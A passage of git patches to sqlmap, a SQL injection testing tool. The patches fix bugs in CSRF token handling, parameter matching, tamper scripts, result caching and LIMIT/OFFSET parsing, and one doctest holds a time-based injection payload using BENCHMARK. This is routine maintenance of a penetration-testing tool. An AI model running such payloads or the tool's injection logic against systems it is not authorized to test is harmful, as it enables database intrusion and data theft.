deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b3ee54790..2d3c6b130 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.10" +VERSION = "1.10.11.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 5b5207b9c..bde7336a6 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1305,7 +1305,7 @@ class Connect(object): if not skip: if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) - value = urlencode(value, spaceplus=kb.postSpaceToPlus) + value = urlencode(value, safe="%%&=-_%s" % (conf.paramDel or ""), spaceplus=kb.postSpaceToPlus) payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) value = agent.replacePayload(value, payload) postUrlEncode = False From f9e53443ed0e261854a382d71124435537d41d96 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:32 +0100 Subject: [PATCH 049/126] Fix for anti-CSRF tokens containing '+' (and GET token not found with -p) --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- lib/request/connect.py | 11 +++++++---- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2d3c6b130..ea85937cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.11" +VERSION = "1.10.11.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 87feb4d2a..bdd1501a1 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -457,7 +457,7 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, "%s %s" % (conf.data or "", conf.parameters.get(PLACE.GET) or "")) and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not any(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) diff --git a/lib/request/connect.py b/lib/request/connect.py index bde7336a6..8c0f05088 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1412,7 +1412,7 @@ class Connect(object): logger.warning(warnMsg) page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, post=conf.csrfData or (conf.data if conf.csrfUrl == conf.url and (conf.csrfMethod or "").upper() == HTTPMETHOD.POST else None), method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') + page = urldecode(page, spaceplus=False) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...') - Note: '+' is a legitimate (e.g. Base64) token value character match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) @@ -1467,14 +1467,17 @@ class Connect(object): if token: token.value = token.value.strip("'\"") + # Note: (decoded) token value has to be URL encoded for (URL encoded) places (e.g. Base64 token 'ab+cd/ef==' -> 'ab%2Bcd%2Fef%3D%3D') + encoded = urlencode(token.value, convall=True) + for candidate in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.URI): if candidate in conf.parameters: if candidate == PLACE.URI and uri: - uri = _adjustParameter(uri, token.name, token.value) + uri = _adjustParameter(uri, token.name, encoded) elif candidate == PLACE.GET and get: - get = _adjustParameter(get, token.name, token.value) + get = _adjustParameter(get, token.name, encoded) elif candidate in (PLACE.POST, PLACE.CUSTOM_POST) and post: - post = _adjustParameter(post, token.name, token.value) + post = _adjustParameter(post, token.name, encoded if candidate == PLACE.POST else token.value) for i in xrange(len(conf.httpHeaders)): if conf.httpHeaders[i][0].lower() == token.name.lower(): From a7a9d7a8fec192d7b429b714785fa59f7d8e088f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:32 +0100 Subject: [PATCH 050/126] Fix for --eval dropping parameters after an empty one --- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ea85937cc..2fe7195da 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.12" +VERSION = "1.10.11.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 8c0f05088..338aab7d3 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1645,7 +1645,7 @@ class Connect(object): found = True post = re.sub(regex, r"\g<1>\g<2>%s" % entry.replace('\\', r'\\'), post) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) + regex = r"((\A|%s)%s=).*?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True post = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), post) @@ -1658,7 +1658,7 @@ class Connect(object): found = True uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), uri) - regex = r"((\A|%s\s*)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) + regex = r"((\A|%s\s*)%s=).*?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True cookie = re.sub(regex, r"\g<1>%s\g<3>" % entry.replace('\\', r'\\'), cookie) From 54c5a6582b24c7e3b24f832196098041dca24385 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:32 +0100 Subject: [PATCH 051/126] Fix for declined forcing of --dbms still restricting fingerprinting --- lib/core/settings.py | 2 +- lib/core/target.py | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2fe7195da..40a0535e5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.13" +VERSION = "1.10.11.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index bdd1501a1..56520f672 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -587,6 +587,7 @@ def _resumeDBMS(): if not readInput(message, default='N', boolean=True): conf.dbms = None + kb.dbmsFilter = [] Backend.setDbms(dbms) Backend.setVersionList(dbmsVersion) else: From d55d1633520a50adc3f7a75ffc30faf565653450 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:32 +0100 Subject: [PATCH 052/126] Fix for -p matching inside other parameter names (e.g. id in x-id) --- lib/core/agent.py | 9 ++++++--- lib/core/settings.py | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 455e44f35..e062ce079 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -278,14 +278,17 @@ class Agent(object): retVal = string[:match.start()] + repl + string[match.end():] return retVal + # Note: parameter name has to start right after a delimiter (e.g. '-p id' must not match inside 'x-id=1') + boundary = r"(\A|(?<=[%s\s]))" % re.escape("%s%s%s" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER, conf.paramDel or "")) + if origValue: - regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") + regex = r"%s%s=%s%s" % (boundary, re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString) else: - retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) + retVal = _(r"%s%s=%s(\Z|%s|%s|\s)" % (boundary, re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString) if retVal == paramString and urlencode(parameter) != parameter: - retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) + retVal = _(r"%s%s=%s" % (boundary, re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString) if retVal: retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') diff --git a/lib/core/settings.py b/lib/core/settings.py index 40a0535e5..f2bf5ded9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.14" +VERSION = "1.10.11.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9fa2abb5dda8c876a3b40338e59d8236946cd882 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:32 +0100 Subject: [PATCH 053/126] Fix for --sql-query dropping duplicate rows and query's ordering --- lib/core/dump.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index c9235f0e9..0f8571d31 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -795,7 +795,7 @@ class Dump(object): self.dbTableColumns(found) def sqlQuery(self, query, queryRes): - self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) + self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY, sort=False) # Note: query's own row order and duplicates have to be preserved def rFile(self, fileData): self.lister("files saved to", fileData, sort=False, content_type=CONTENT_TYPE.FILE_READ) diff --git a/lib/core/settings.py b/lib/core/settings.py index f2bf5ded9..a2c6f77e8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.15" +VERSION = "1.10.11.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c8422bf1f6abc0127562673f5fb60bde10541d2b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:33 +0100 Subject: [PATCH 054/126] Fix for --hex with UNION JSON aggregation (SQLite, PgSQL, Oracle, MSSQL) --- lib/core/settings.py | 2 +- lib/techniques/union/use.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index a2c6f77e8..2a15f4060 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.16" +VERSION = "1.10.11.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 5a83f76ab..252a50841 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -353,7 +353,8 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)): + # Note: Oracle, PostgreSQL, Microsoft SQL Server and SQLite aggregate the raw (not hex-converted) fields, while parseUnionPage() decodes them all in case of '--hex' + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.disableJson)) and not (conf.hexConvert and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE)): match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I) if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression): kb.jsonAggMode = True From 77a31ee5959a081e3a827294eec01609638de4a7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:33 +0100 Subject: [PATCH 055/126] Fix for SQLite columns with special characters in name (e.g. 'my col') --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 4b8c8abee..cbe8caefd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3673,7 +3673,7 @@ def parseSqliteTableSchema(value): continue retVal = True - columns[column] = match.group(3) or "TEXT" + columns[safeSQLIdentificatorNaming(column)] = match.group(3) or "TEXT" # Note: stored escaped, as by all other column enumeration paths (e.g. 'my col' -> '`my col`') table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns if conf.db in kb.data.cachedColumns: diff --git a/lib/core/settings.py b/lib/core/settings.py index 2a15f4060..1083e7337 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.17" +VERSION = "1.10.11.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6aa218f7207bb56783d2553a6be70689f35dfa1b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:33 +0100 Subject: [PATCH 056/126] Fix for --dump-format=SQLITE with double quotes in names --- lib/core/replication.py | 6 +++--- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/replication.py b/lib/core/replication.py index a2cd5e9a3..70028b19a 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -58,15 +58,15 @@ class Replication(object): def __init__(self, parent, name, columns=None, create=True, typeless=False): self.parent = parent - self.name = unsafeSQLIdentificatorNaming(name) + self.name = unsafeSQLIdentificatorNaming(name).replace('"', '""') # Note: escaped for its (double quoted) usage in statements below self.columns = columns if create: try: self.execute('DROP TABLE IF EXISTS "%s"' % self.name) if not typeless: - self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname), coltype) for colname, coltype in self.columns))) + self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s" %s' % (unsafeSQLIdentificatorNaming(colname).replace('"', '""'), coltype) for colname, coltype in self.columns))) else: - self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname) for colname in self.columns))) + self.execute('CREATE TABLE "%s" (%s)' % (self.name, ','.join('"%s"' % unsafeSQLIdentificatorNaming(colname).replace('"', '""') for colname in self.columns))) except Exception as ex: errMsg = "problem occurred ('%s') while initializing the sqlite database " % getSafeExString(ex, UNICODE_ENCODING) errMsg += "located at '%s'" % self.parent.dbpath diff --git a/lib/core/settings.py b/lib/core/settings.py index 1083e7337..65003524a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.18" +VERSION = "1.10.11.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From eda9b00185f7ba10e86a3d2248275f46a4b6e863 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:33 +0100 Subject: [PATCH 057/126] Fix for interrupted --first/--last corrupting stored value --- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 65003524a..097b92890 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.19" +VERSION = "1.10.11.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index aebe5a33c..2bfff59cf 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -327,7 +327,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None threadData = getCurrentThreadData() threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) - retVal = hashDBRetrieve(expression, checkConf=True) + retVal = hashDBRetrieve(expression, checkConf=True) if not (conf.firstChar or conf.lastChar) else None # Note: stored (complete) value doesn't correspond to a --first/--last range if retVal: if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: @@ -1251,7 +1251,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) - elif partialValue: + elif partialValue and not (conf.firstChar or conf.lastChar): # Note: same as above (otherwise resumed as the start of the complete value) hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)): From 3f7f87750a65d5a1481e834b40a61194cddbe4f4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 11:50:33 +0100 Subject: [PATCH 058/126] Fix for tamper 'between' breaking function arguments (e.g. BENCHMARK) --- lib/core/settings.py | 2 +- tamper/between.py | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 097b92890..ffd934540 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.20" +VERSION = "1.10.11.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/between.py b/tamper/between.py index 00da028c6..3e4323bc3 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -38,6 +38,8 @@ def tamper(payload, **kwargs): '1 AND A BETWEEN B AND B--' >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()' + >>> tamper('1 AND 2314=BENCHMARK(5000000,MD5(0x41))') + '1 AND 2314=BENCHMARK(5000000,MD5(0x41))' >>> tamper('CASE WHEN 1=2 THEN id ELSE 0 END') 'CASE WHEN 1 BETWEEN 2 AND 2 THEN id ELSE 0 END' """ @@ -56,7 +58,7 @@ def tamper(payload, **kwargs): if retVal == payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*(?!])=(?!=)\s*([\w()]+)\s*", payload) # Note: avoiding compound operators (e.g. >=, !=) - if match: + if match and match.group(5).count('(') == match.group(5).count(')'): # Note: e.g. 'BENCHMARK(5000000,MD5(..))' can't be cut at its comma _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) From 167956b61c2cdbc2e17c0ddf89237e6cb53ff428 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 12:57:39 +0100 Subject: [PATCH 059/126] Fix for LIMIT n OFFSET m being ignored in SQL queries (e.g. --sql-query) --- lib/core/agent.py | 11 ++++++++++- lib/core/settings.py | 2 +- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index e062ce079..7357f1f35 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1069,6 +1069,7 @@ class Agent(object): topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I) limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) + limitClause = None if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"): limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I) @@ -1099,6 +1100,12 @@ class Agent(object): elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): if limitRegExp: + + # Note: standard 'LIMIT n OFFSET m' (or 'OFFSET m LIMIT n') isn't (fully) covered by limitregexp (e.g. OFFSET was silently ignored on MySQL) + limitClause = re.search(r"(?i)\s+LIMIT\s+(?P\d+)\s+OFFSET\s+(?P\d+)", expression) or re.search(r"(?i)\s+OFFSET\s+(?P\d+)\s+LIMIT\s+(?P\d+)", expression) + if limitClause: + startLimit, stopLimit = int(limitClause.group("start")), limitClause.group("stop") + limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query @@ -1126,7 +1133,9 @@ class Agent(object): # (or equivalent, depending on the back-end DBMS) word if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses: stopLimit += startLimit - if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: + if limitClause: + _ = limitClause.start() + elif expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) else: _ = re.search(r"\bLIMIT\b", expression, re.I).start() diff --git a/lib/core/settings.py b/lib/core/settings.py index ffd934540..fb34cadf3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.21" +VERSION = "1.10.11.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b6c4f880a58ae0b913aa6780e7327975209d9146 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 12 Nov 2026 12:57:39 +0100 Subject: [PATCH 060/126] Fix for multiple MIN()/MAX() fields in SQL queries (e.g. SELECT MAX(id),MIN(id)) --- lib/core/agent.py | 18 +++++++++++------- lib/core/settings.py | 2 +- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 7357f1f35..2e44b910c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -673,6 +673,10 @@ class Agent(object): if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I): fieldsMinMaxstr = None + # Note: shortcut is meant only for a single MIN()/MAX() field (e.g. 'SELECT MAX(id),MIN(id) FROM users' has two) + if fieldsMinMaxstr and fieldsSelectFrom and len(splitFields(fieldsSelectFrom.group(1))) > 1: + fieldsMinMaxstr = None + fieldsToCastStr = fieldsNoSelect if fieldsSubstr: @@ -701,8 +705,8 @@ class Agent(object): fieldsToCastStr = fieldsToCastStr or "" - # Function - if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: + # Function (Note: a single one - e.g. 'MAX(id),MIN(id)' are two fields) + if (re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) and len(splitFields(fieldsToCastStr)) == 1) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: fieldsToCastList = splitFields(fieldsToCastStr) @@ -1065,11 +1069,11 @@ class Agent(object): startLimit = 0 stopLimit = None limitCond = True + limitClause = None topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I) limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) - limitClause = None if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"): limitRegExp2 = 